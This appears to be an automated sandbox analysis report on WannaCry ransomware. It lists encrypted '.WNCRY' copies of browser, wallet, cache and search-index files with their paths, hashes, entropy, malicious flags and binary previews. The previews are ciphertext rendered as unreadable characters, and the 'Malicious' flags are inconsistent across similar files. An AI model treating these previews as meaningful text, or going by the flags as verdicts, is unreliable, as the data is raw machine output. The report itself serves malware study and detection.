                                                                                                      Preview:WANACRY!....?....Fwkn......;`c..'.......pX[.^......jz....J.'.i.:.........2.V...V.RD..|p.....p...{..\.`2W.[..N.b...n.<.d.4.M.....%.4N.u.\...l..9...6.u.f.p....l.{=...'.J........M.]..S.Eh.Z..n..<..M=..B!.....1.5..%.........ANu.[;..W}9.'.......i..M..?..=....b9....G.......l.....^W..#..B(y.."..WJ..d.....b...g..vpU...mW...V.....%BN\..i3^. ......@j.......`..:..]...Z..+]!.@@.......A.'c...V}...+..-Y.WS..............W...g[B..6...|.i.kz.*...L.aDz..q..w..v...0Xr8JO..._...&....&<>...V1....{).....?..q2~..3...^..K.zQ!....w>....|C,.$7..........d..2n05.....v.n.O.9.j.....d.r.K."n.%....u6..B..=....=.U..US.X....X..>|.Id..vG.%Kcx.[.....wE.ln..$.7....z.A.X.....1.UJ....QK....f,..p..%t...g%..{....2..@Jst....w.p.G......s.y..n...~H..<@..f..Yn.4....S-..,..m.....i.x&G....zzl]..(X..Lc.r...}D...+..U.D...~....o.j...(y.i.y6..j.7.S...i.S7...p....q.w..=...g...........F.f....Et..t4.......O....1....xn.Y.^...=.#...8.D.`....S.....7...I7sf.n...L.I..a>*!....1(...b...e.A`.$..

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\32.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.82300069639905
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk8GNr9UqAuwyArHOvOofwiwEOhHJtsOPcSfEZBPSX76HP3JKRREofb0d:bkF9Uqpv6uvSf9zmO0xZBP+OqRESbk
                                                                                                      MD5:5E9D9FD1DCC1D52B72FD6E471D955D56
                                                                                                      SHA1:9445745BA88D437A6BC0440AEB216954460035C0
                                                                                                      SHA-256:44DACF8202B1E3A39A2DAF140E493B7E8F9463222C54B1B41D49B97AAF01AC60
                                                                                                      SHA-512:F1E88D4082D6092C353D66B951B831A98D9ECBF76D25B20CE0008AB6749C9AC068C413B9141C279D32559973C33974C2D2ECBF8313DFBF7D93A580DE0239D74A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....o%.6G....O....u........{lk.s..=.(.n..o......k^...JD99%.A:a..>.s.V...!.).....}*.T..t.m..@..9.-.~.....A.2(l...q.z?..<.....I...p...{....U.....*.....N..m[...CD.2G...q.qj..N.....O..@..>....q2.....%u#QYW?...G.....<kE.^.w.V(St....H.S........|h............... F......gW..nU.......s.H...?..AL..........-......fXS..)U....../......>7....d.."....z.L.XO....h......&{a..KPM.GE...M..p....H.7....QQD...:.~... .....G.{......[....].X..{.fi..$..."8...\o....v...........S.[h6.....)}/ .{.c.[....l.<.H:.L./.V..l.!..?i......q..02......i.;g/+..9+...].r.$.&..\v.....K......:+.;n.,....=..x.t..K........".Y:..B:....[V!...5h(..[n......P.jM....-&......i.Dn..^..{..$...!.......|K;.^[..7.h.5..c>..C_m6..+.h.B......]..........}.R=[.....6..0...-..S*^..<_&....$....H.6...........we.Bq5.C.G..d..C.@(..#fk....x....\U..........Q..V.@G.q..vA...(.._.a. .........,r&.[F>...3.......AF.u}....].._.w..f>.,..f.Z..M...Y.(S..._.:....#....]...].......z.G.oC.0..

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.LICENSE.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1608
                                                                                                      Entropy (8bit):7.884999129255086
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkuTJmNnh/yDQb0UgQhamx25HrEfRFQTLruVaFPz:oW4xh/ydkhf0Zq2LrrFPz
                                                                                                      MD5:795BC97ADAD1201FB2B8BB63B4606855
                                                                                                      SHA1:42DB04C27F0741318EA0711DA652A8D0C0FCC46D
                                                                                                      SHA-256:6C97F38BDB8E2E6238B94011769638B1B689229D86CD4484016A9837C738B1D2
                                                                                                      SHA-512:9FD1B5ADB95416212F5810F9FF705B1060CD1BD7C4E51FCC4E2860BD0464D3592140DA0B45FA789EE5C05F5B5327CDDD5939D9D89321A8D58E20C7A63EF10DBD
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....jW.PD.=.9N.....z......;.D...W....6....o;C..l...{.$...X.d............).7t..v;Q...B.S....W.Y.t.G-{......:C4..[No.|.....2.....Lh....P...(.....#...X#5.ti.h...".,.t...3aF....;ej..........G...v......1L........X...`....:a..W0.h..Kg9h1.K...i'G9..........%.......e-....<..k.....~.6O.wut...eCU.sK.......T..M.,...M.dO./...h...f.......w...hW..z+.......z....B..U.....T)4J...rAS.77T...I..I?..L..9......iX.x.#Cz3.`....5..Y....d..R....>.Y..._(h...d-g..@{.....Q.4.%......m)].(Lj.Pq<"Ly....g.f.......-|2.5G.r.c:......m..7...{5.....K.L...S.....>.r..e..".U......w..g!S..6Y...t..nv.$.$.....z..5.^....<Q..aJ~.9v.q.S.$..ZG......e..>zOx.B;g.^.a./.!.t.$4+......8.k....[...2j.a..U8...i>...].b... .....,...8.g.h.....L..y....v.i.bD2.>.....`.f.X8K>..-l......c.(....,..|..R.+..kb.H...0.i(>.......Z.J.+.fWe|k.[.{.&.}...Il@}>...n:...D.DY..x./....H....._:..b....o...........|..i...'*.n...S`$..A............8.3.?.F.t.$......d.]._..9..1.V.....g....$....Zx....C\...>.o._..p..$.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.LICENSE.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2088
                                                                                                      Entropy (8bit):7.900279447103427
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkIkedn3w/g/Z1nOprF5i9i3X2y6xQ61iF1:o3ed3w/AnIpA9g2Y61Y1
                                                                                                      MD5:D959B3F6EF6BBFB145F79873C62059AE
                                                                                                      SHA1:619D480B91CB78CC3945A65EC67C06ECD989AD19
                                                                                                      SHA-256:3E173111A7D7042C30A2BF9159406676167596C5219A80B392BB24C022203B83
                                                                                                      SHA-512:5AC0395AF882B0A41FCCB96B3E2B3030E8EA3015F7A84BFA977E227F2BFD1F233E79761012A6F0EEC85F0A9DE70E76BFB97801EA0D268F232A6520791FBA4581
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....%zd..z...rG8Ccj.{g.. .].hl....[...\...HA.... ..czY.@x....}.."......p?]....D&...)<|.VA{..<.dj..s.C..5.7.m.fC.....)..EI.,.{k..z.R-m...?..:......f,...s..`p..0..6q,9.r.E.d....`Dv..\s..6J%}.aK...S.w.....<.. +M.K.3..dAQ.w.._....<p...k.T.......*...J.e.._.............U.Z"....*`.7.-."....t8...e8..Q,t@.n...}.6+1Z6...D.#.*w}.a>M...cz).1..."|]....a.|......c..9..L..#.R.U..Z;nz..A.)....9m..%.eO............H....=..H~R..../o6....;.x5-vu.7=..[V.Z.D.....(.T.......iF{....y.O..Pp.?U..#k..q#.....p..t1.{..Wmg$...|r.!.PX....|.._....M..Ou..E...<.s.<...-*...@.d..q!..f..K....U..]....7......U.......^..h..o.A...!D.....p;8u.`.-..4v.....g..hN..".....C.U.$....F.U]...)h..:..p.2....a...B.Q.Z.N..,.r!mW.H.7.*:..\.Aq..D.!...;.rp...+&9......(...@l..S+ba...@br1.~;..V.X...R..v...1b..S.&......$......`.......w.e..d.|.Pz........U......(L.".f.E.l5.Y..Z.......d@...`.y._...q..5..........c..;...T#.Vj.....9L.....-M..../F.....!..... ..(."......D...rY...U#..Z...E....S.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\7OUVBIZR\hero-image-desktop-f6720a4145[1].jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):138488
                                                                                                      Entropy (8bit):7.998808460704066
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:v3PdXhcbi0UBf+/TI9eq8Xr5XoeNxfAIfWLqFcDmVeSzp8U5YjZo:vtaUBuTGEdXoeLfAIf6MXzpnYjZo
                                                                                                      MD5:F378B68B105A2C88E071623C5FF9FD74
                                                                                                      SHA1:947D07A70F9552DA58CA7D67F76920A016AEDD38
                                                                                                      SHA-256:AC1F1761BF600A418E485828E9C3E92FC7B90C7F74F340C9B3484BEA127696BF
                                                                                                      SHA-512:9A1D166867FEF670155EA6CADB4ECB14A57F4138F743628C3B67CF593AC90D02C87558A824ABB79E69924D81AF7A3930E7172AA01EB52BAB687C6B3A9524534A
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......f......F"..]1.&...}..e* ..rP....]......&.w.@m.6..c.._ZW.]z...<....m.#.g..R...m.?.....e..|.y.P... &t.Qkb..).O...n....p....*...[...^.e...."...&.?.?...k.#D..,.S..D.."Nn..8M...R...+..@1S.. .a..*....`.yJdt.....9...[z.3I.j.jbX.0..T..\."=3i...\..j............/~.......#.`...p.n.....:............?.b..qf.B..f.......;9."v[.Tv..........j..:...(....w~..=.n....NY.&.....(X3..H.......M...).Yo....r...).j.w..b..dU.)Ft.C.=....j2^.k.fWu..Z'L..q[-N.*e.(.....Lz.p......{A&.4t@.xJ...77k...(.#r.<.......@.\.t.V.s.C.R..t.M.....\.SOe.n......J.H5..rs...c...`.@...W.K..DXl..b.C..M..>+R...}..Z..i8..*.....Q..@.N..:X.t.]....[.o.4.X[...yct..S..fT.Ah....8t~.{.r....W8.....e..L-..<)....NiX.f..*..~DvbI....N/e.......3.G_....^..G$..R.......b.p.t.....u5.r-....@y.......L...V.bX7...@&.:.c..D.r...]u3...&6.W....}..k?..`...Wh4.y.q&...U.Z.Y....L7.I.xa.......sa.....-..>...c....I.f.Sq.......pw....Tir.........-(.......n..Qm.gy...e.D.ii.g.}...+..._...2.1..'.gWf.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913551623871.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):115096
                                                                                                      Entropy (8bit):7.998380182070116
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:f0cHnROvt+U0Si0OOgHiD2mJQO4OLdfVvWncOVG9B4:fJSf9gQ2pOLd2kb4
                                                                                                      MD5:B1B3E909A84C54C4CD24BD6B93788D8A
                                                                                                      SHA1:BB6A8454D53466134CD4FBDFAC6937E8C2516A31
                                                                                                      SHA-256:D61F2AF7A57176D5994052D3F408402D2BB0D7484DAC6CF91B59BF56B6A78342
                                                                                                      SHA-512:DEA6CCD8C25ED962489917DEBE555CB92059E92B0380CF4B7FCF57804F217DD394FF5066DD11DA5AAA1523D15CCA57E4784B47A1DAD46ED5046E50617501EE30
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....S...`..p..)+Aj...,(..k.y...................R.....~Sm.u...4..........9.....4..~mPC.......3....V....7..}.....I....._O..z.y...#...{.>/.a......7.l.M..PW...."...U.4X.........1..T,...|..%.....`...c.or....K..I...d.}.....h......~...).s3._....*..;6&.{....................|.o.#b......x^...Q...?..tH.....U`'..r.D...+..cy....:.M&..E..M"S.8.K.z.!....f..Ci..p.. G..(5...2..K.@.~.J...C...y/..........NL=.m]....!W..M.!....D..U.y.xG<.t.5..t.E.n..#.5...w.[......!..._.".-c+&.s..j.kU....u.u..^r...*].X..>q..#.O.}:..r6.R.9...:..".......09....4...Alj..-...Wg..<.<...G..+)J....w......;..0.`l.!_o.;....b...d..T~..}o.../..6.....H.._j...&c...(QsE...W..E.....M.zD........L..s......d4...f..M...w..{.nm.ep..CY.R@.l5n.=e......87$i...J..?.(Q<5.....#.&0iA..=/..%.Fb.O.~HuFA..un............X.2....T...=.IM<h<.......>..".M.e.....QnK.).3W.A.*xI...T.&e.x......>go".F.+.;..Q.|...y...qq..`.;...'2o.$..DY...3..X[...x.<.a..'.....x..fU.a.*...O..\..8GT.8hq.yu.'.8.............Q

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913644287936.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):115096
                                                                                                      Entropy (8bit):7.998413797481823
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:rme8VMHSdwgLATrHr/i/nzQxZmDwEbZJupw:6TVOkwgML/cnzCZmkGJupw
                                                                                                      MD5:314D44C9907E0533B653191A06E1A42F
                                                                                                      SHA1:1548392F28DF070A84FDC3D21BAE4380069B2D8B
                                                                                                      SHA-256:B73D1812B90692351BD37DC0DB2C76FB3868D895B4045F30C5AE7E85C403736E
                                                                                                      SHA-512:FEE3F3A117B6174E217EBD7B7198A97347B1ED548A327ABD2555F9B984D3DC75F5286FB7C31C6089B78D06AB19FBCCB68CA99505D965D06A0BEC1BE24FFBE6AB
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......6..6"H. .4..2+p...c.b.Jh.c.....e....1.-.k...m...<..i..`A.~>....%.s..!...2......X.u.h.h..hG.!\.....4*q.p?.$BF.xE...E*..\R..1.........N..Ej...^C.o.e.q..bh"../B..p.tq2......../q...........K1.....z...N...vX.|.....le..:K.8E..p..e@..J.*?.OVs...G..............a..A.#[....Un....:8j.t...p_.t.........u_.R.\.qb...D.(e...s.z.{`.x..~..=.e...0..)..^:b5I.?..9..g.....Rqgsj(.%{..h|.+.Ag.........j.:..4.....".N..N...r:..V.../4.k...S!..;.,...~tB.u...A...:1..e0.......*E..0.EZ..M...}.:...B....}~.D.^'6.,.T....n...-......(H'72e?.......9.~.j.00....~..'2.....^xX.j.....n./...'.1).....S9.4..A..0.hJ...........Lu:.....:..F.9f.(....;.Z4.....2sM3S...Q..r1T|.xUE.#..~.awe.%H.......4"2..S.+.....!....!...\.|.-..O.%ku.CQ>V.....u..^LO.2....rI..{.v.N....H.q...:......5...^;r3S..KtO.2.F.......>.I#.Wn.:3...G*_....S.?.}.B~.....`t;.:....2t`......'R7.T..).y..g.i...=..ce8Q.....f0....j9qn.@o)...~.J.[....n.eO.t/..b.R....G9.A..=........Q.7.....P.xwA..0..~.....c.<.).V0....V"gE..Ukm.IE.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133670572901062730.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):114280
                                                                                                      Entropy (8bit):7.998359795294501
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:7RpoyDKwdaVmNKgFoQ7Vz3R47TFcmAO/bDsN37Uw:7RpnulxgCaVrO7otNh
                                                                                                      MD5:E309617F7DDA48C9B96DDD1FC3856739
                                                                                                      SHA1:8841848D57E4EF3BAA45AECE6BF44C58F8813389
                                                                                                      SHA-256:A48229C8D0CABE10A2DCA5C62C92880F549EFCB832BE4BB14E1C81856714AF97
                                                                                                      SHA-512:DDF0A770F216FA362E416370645CF1DE7B719FCA9481B12CD7BC3DCB30598E77E234DD2B3499FE2D2223F537BC08988981F7FF753DBFB9C3D53D87076184840A
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........ag/...Q1.m.43...R..I/..F).v.{ ....u..}.-.N............=.A.P...{9..|..,..B..1WhIg.L...B.=1.{.J...xC:E6B......@..[.V..CH<m.'.V...z.}..p.i/....E..RD6<!.}N...5.D..q@]....{...=`..a...........B..H.$..A.d.Z...~.s..J%.j...O..WD.....[.#CG.....J...[f@./....E............;...........8g..a...`.]c..N.D.5AP..dvhC.....4lv.9....$.%a:....#p...Eav.....EZI.o..w.b="g._.T.........<.=..h...'i...../..8qQ#O...-.-#.X......7..V.q<......u.F...q.|.u.Oy...6.[Zg n!.},........7.[...l.\.rTZty...1.Z:.<..1......o......U...UL5.W......r,.{....d._... ..........%.5%.e..f.0...j..N.bN{..j\,..Z0##...xu..1U....ziR,E..@Iy...Q.X..J..UV..+....|.Q.......+.em..M.v..+..c..2P>?.....(.....`......{Pc..I{....X?~./1.5FZ..$...)fu.........*......z..P.?...6.C.......4s.. I..txp._..{`x.*CJ....qH.../.R.{g...$..e.DzB...J3..$..R,.8.J.Xs.G.-f8....'sR(.vT.g-R...r5:........x...E.8M...R.t..........o.........J,..k....l..3...S........Z...&.b..%$o..DY9V=........I.j...GZ...s.....k....?.'=.[....

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133670573200963839.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):115080
                                                                                                      Entropy (8bit):7.998344865587311
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:Kyh7LrJKCnwp9L8PLZfdGb0C/cPOCM8Jg:b7LE+C9L8VF4dcPvJg
                                                                                                      MD5:727502ED7BDE8276777DA7E09A9EADF1
                                                                                                      SHA1:62E412D517C2D3B4575F5D925ED6649A2698B9C2
                                                                                                      SHA-256:8F8DC04A6B6F8C990C884FC21D85558362ABF953BE27AF411DD0CD67DA9C187F
                                                                                                      SHA-512:99282266CDEE150402DD1FDC03138B36ED208B1FB9C2DC9CAA692C48D1A42F33B9D6664048BC568C303382C3863BFD995AE084EB2839CF1587158CD94B08D16D
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......T<.G..p....y......GV.B...=.."5xY3.A.'.....4.....=...y..t$J<M.~._=.$..Z.<.P.@..q...m..&t...Kt.....vA...H.E.[.?f..<)...qJf..E..8.....xKt..v....}Ij.....i..........+..^.;,.C....a...B.....N.X..5....2.. ..v.da.).e5,0..]..H...j.9..ca7..or..k..r.&.9.....a...........*.efI...u'.zt.(U....W..E.'h.R.R...~.##`..a..C.Y..Ytf_H.h.}..H..U.?.gi.Xo...\a[s..I0L..`.....2...%.B.s.e...J.......W..F.J.`w.@.L..T.AVOae...oJ<..H..M..(l.5..Q.h......./.s^.z..h....H.#Z...J...&W.H.k.<.G.f.........l...+.z{Q....I..7QZkn.M.58.B?A.J&..01FTj.1...6....|.q.e..Fh{.W...dl.......U.n.&4...F......|\oa...T.l.l..#j.Q(~.2....m..~.M.q...q.d2.............`...h.cF.2}}.h....g...a.....^...\C...O=../wL#..v....UKo......P..y.1jR~......K.`ppU..}f.ME...........@j.O.....Q...../.I.... ........ E.(........~..7x#*..d?Y^.|^.$&4....|\....h....5h>....6.n..L..]..5....4U.f..lX..a.r.;.@..WP@T.::;...a[..d.6.NI..8...\.W...r...{.!.......o+.fx..7..(......n...*#..?q..!.Sr#....1. `G.S..~.,..s....*.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsconversions.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1426184
                                                                                                      Entropy (8bit):7.999868525159173
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:xcUqnbeFzpCNI2COBTK+5XAU0AGu1N0bMwaClhaNXyZUvXgGcPf3KmZkINuSnIgj:xSKz0NRvgWzDdA5hHUvQGqPKmZDwSn5P
                                                                                                      MD5:EED3E57F261EF7E7119C10DA0FD61A23
                                                                                                      SHA1:ADD01EA3FC54977EED4158FF77EC8E249BD4AB66
                                                                                                      SHA-256:D719FDA6DC94D2D395BB27149F70E2F039975B0FBD1E429DA0A7DD4DB0864027
                                                                                                      SHA-512:EF6356B0EF4CE232CD1AD8677E8C229C92D50C91A9AA2B584B779E3064E0C664A5EF89215E6C39017DF62503D5E87F80E0E781ADA939BBAA64F8C4DDA81B7DF3
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........a..;.....O.L.sb..b4.........@....K.......C.t!...;.R.|...W.eU5.b...'..I...B........._....3=.Hp..ek.`.O4.bv4~..h.E.E.DP......J.E>..iq...c./@.e.. M3..P..{)...."..[!...].'9..k.....%...Um.,.....:2;.]x.".$U.W9.....i:.%V._BF.*..&..^.>....3..../.5.............n7]..l;(.....>y..JG3..G..z.r.g..EF..2..VZ.1".}...Q.6..DIp..Ys uJ.~01..5.+A...c{G.h.u.9..W.......I-U;Y.....+......b... .-?,7.+..5..-....J...`.<.+})...."....^...1.Q......L<....o-...|..P....#^..<.d(..M.l..in.h+...:..j{.M.F..H.1......@....A.@........*.....:....+.../...53G..V.h.B1.../..3l@.3.Z.."....*.....V...y.<...~.0..;...B.....U..._...VQ._nO...WK!....w..>...xpB.']$..d;.....F.T.....%8q.s......d.r..P~...C...w.1.....b7..f..Ge.mXJ......-~..2...w.c.b.......2...F.-.Ow..r.a..5,.{._y~.....4.\!E...>..w..y;.P.V....^.,...{..:s...\_....|M;.e.R.*.}..&......X.B\.6.....9.C. V..g..a3.:O..}.../..@$I%?9.\{....4.xl.v..F!...lU......5.$....A.k...c.. 8C..*.....S|...NH......N..X)..k.+...[av.^....Q..S...r..r..

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsglobals.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):352008
                                                                                                      Entropy (8bit):7.999537697144544
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:hccAvDT0MuIQ+OBC2I06R67WcHRn40tskpEpxVqVmD4rHPUy9aExXclATIuOeKhO:2cI0MuI7F06RRcxxEjV+trHMEuMIuOe/
                                                                                                      MD5:38054D5A237C3C11079F202D99C01C8E
                                                                                                      SHA1:EF66468A633EE236A2454E2A71DBC635412B45C3
                                                                                                      SHA-256:9E92DAEEE0A8B13DB557F09C6B779F16F6E9BE491F12560AD3FA87417556489A
                                                                                                      SHA-512:81E76AE5791526B15EBF95F077A5449A4E5CFDD29CF12D3C749E0706A4C16E82A6D2F6F28B6177E6C05C895E8866EB5DAF4E47456D7239487C9AA7496F8D7FF2
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........h.]/x....h.0....^$.q/...th....Q..LO..g.._.....U......W.?`.q.q........y..2...X......y..gm.pA.]hO.....T...//....s^.<...plz...p-..i~..."....{.MP.k...._.Hp..xBx.D....nU.Y..W.@....I\c.4.B.P.j.b....z6...7Q.. v....I.8. .B.....4w..w.....5V......J.w.....].......Os#.H..d....;....V,v.....y... Q$..H.nX.....TP.L..&....H.k.7....M..5^/.J@@a+...X.tE%..PT.t^.N..@..M.c.q....T.z[.o..Wg%.w.=.......{.........0.}#'l.k..6.......8...g.!)E.../[.1.a=.&..:$...e....._...U....bI./Fo......,L4V......_.....Z.kk.v)t..3.H....?+Wo>...m...e.G.^mO..U.E>8.f]..N.T.....*.z..v[.@...k...v.+D..\....tR..-t...SJZ{L...S}...3.^..:........l..P..}V....#...xb....i...V....A+....(.gd....K..v.....@....OT.....<Z.I.-BA.'`|..,c...6y`..fy.Lk....!6.vA._p..^....b.}..<.UJ.I.<..b...O~..-.T....c.k.un...#......wH...q.......(4~}.T...|.pS.*.D...3...|yr[.e>......e.;..|.W..Vp..&.e......d.$...+.E.7.S...#.$%g;.../.......'.96...[A...1..J........m.%b.="Y.=..d. ....Y...pON.[..m:.y."w.......A

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appssynonyms.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):243784
                                                                                                      Entropy (8bit):7.9991642591317245
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:A3kY7ztdp7Sxjsh6mkpkU3HYhjdCE2kKgkJoExnyW:A/dmJLpkeHzE2k3En
                                                                                                      MD5:E6E7F97E5EF35925E47155233EA13343
                                                                                                      SHA1:B2E024334566D0995885B3702B1D3BAFB6631D77
                                                                                                      SHA-256:DC7A352BFE5BBCE1AFA0211172C2DF2EF3F18036ABA1FBED56F62606E9CC4827
                                                                                                      SHA-512:3FC48B52EEB307140B03AF16AAD65D47289635246B34412B4A71090A5390A97789DE82ABF006EA094CE58483123D2FD6FE1E9E1120C3C5D4DDDAB8C02B2625DD
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....F....U...;?o...$.......1....;.[&..)..A.v..<.=.q...m.x.4..{..-.c..R.@.a.NfG.)........}....b...:.C...~Zx5.. ..g.8.rB.8..Q.AI7&.4ml.-..,Fd......0.I..H........E.z............8..Q+...N|oz..|.<.uw..HH..}S..."t.........k\..3F...)w[...d..H.#.s<?.K..Xp.....&........`...IH.....N..Z.5.I_...)...dl....g..<A.3E..&J..kTy..a..O!......o.,\..J.lT!.q.$..s..`......9....#dc>..T.X....).yQv..MT.h:...j..e.E............>......a1O..2k.9.u. ...'..}c...P9..5..... .. O.`"...>P...m......l5k...............&.G.........t.*_.Q.......W.hW...d.....8c.^......A.{...9T!.Q.~......hAW-8.H.....D1.A...<=._w-...$......y.q.>D.E=c...og..d3.D8..O8....n].h:t...Pgc..O...Y..o.`..d..........Ym.~.....W........}.$....3(.......=......d......#.i..y7...J.9.E..b.n........a..mz.Z.6.=....tV`<....g...k..9....C ....+3....-~C...1......r...(...J&..V..Kw.6.q<.......l...>.....=.Mxoa....c.. W....t.b....q...b.~f.3.I....zI........IZ...6.i...3uUS.YL..A....c...by...@E.:.3.F-.w..$z..>...)

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsglobals.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):44792
                                                                                                      Entropy (8bit):7.9956562889381315
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:q4KQN+m7MZIXrcJr95C01fOlEjRGUNUTFPpvtR77ueaPL7tg88DqPvKjqWavUQnY:yQN+4MWXry5V5V9pUTrvtR3ulPLpH8DN
                                                                                                      MD5:269C6FB1B653829CA810CB989B04339C
                                                                                                      SHA1:6C47B0528CD2474992728D260FF33F4BF445C8E7
                                                                                                      SHA-256:00380DD5671286F5CD677A97CBE74966D2BC4966E2D1A235C2D19059E9B7551F
                                                                                                      SHA-512:3A379F950A995B17FF76F0E51AE311A4AABE10046B9132796C90E741F15F37E8F28F721EF4F5BC460EEA23B3922CD449FF0BB6F06E5BE394F12D6D0A4AEF80DF
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
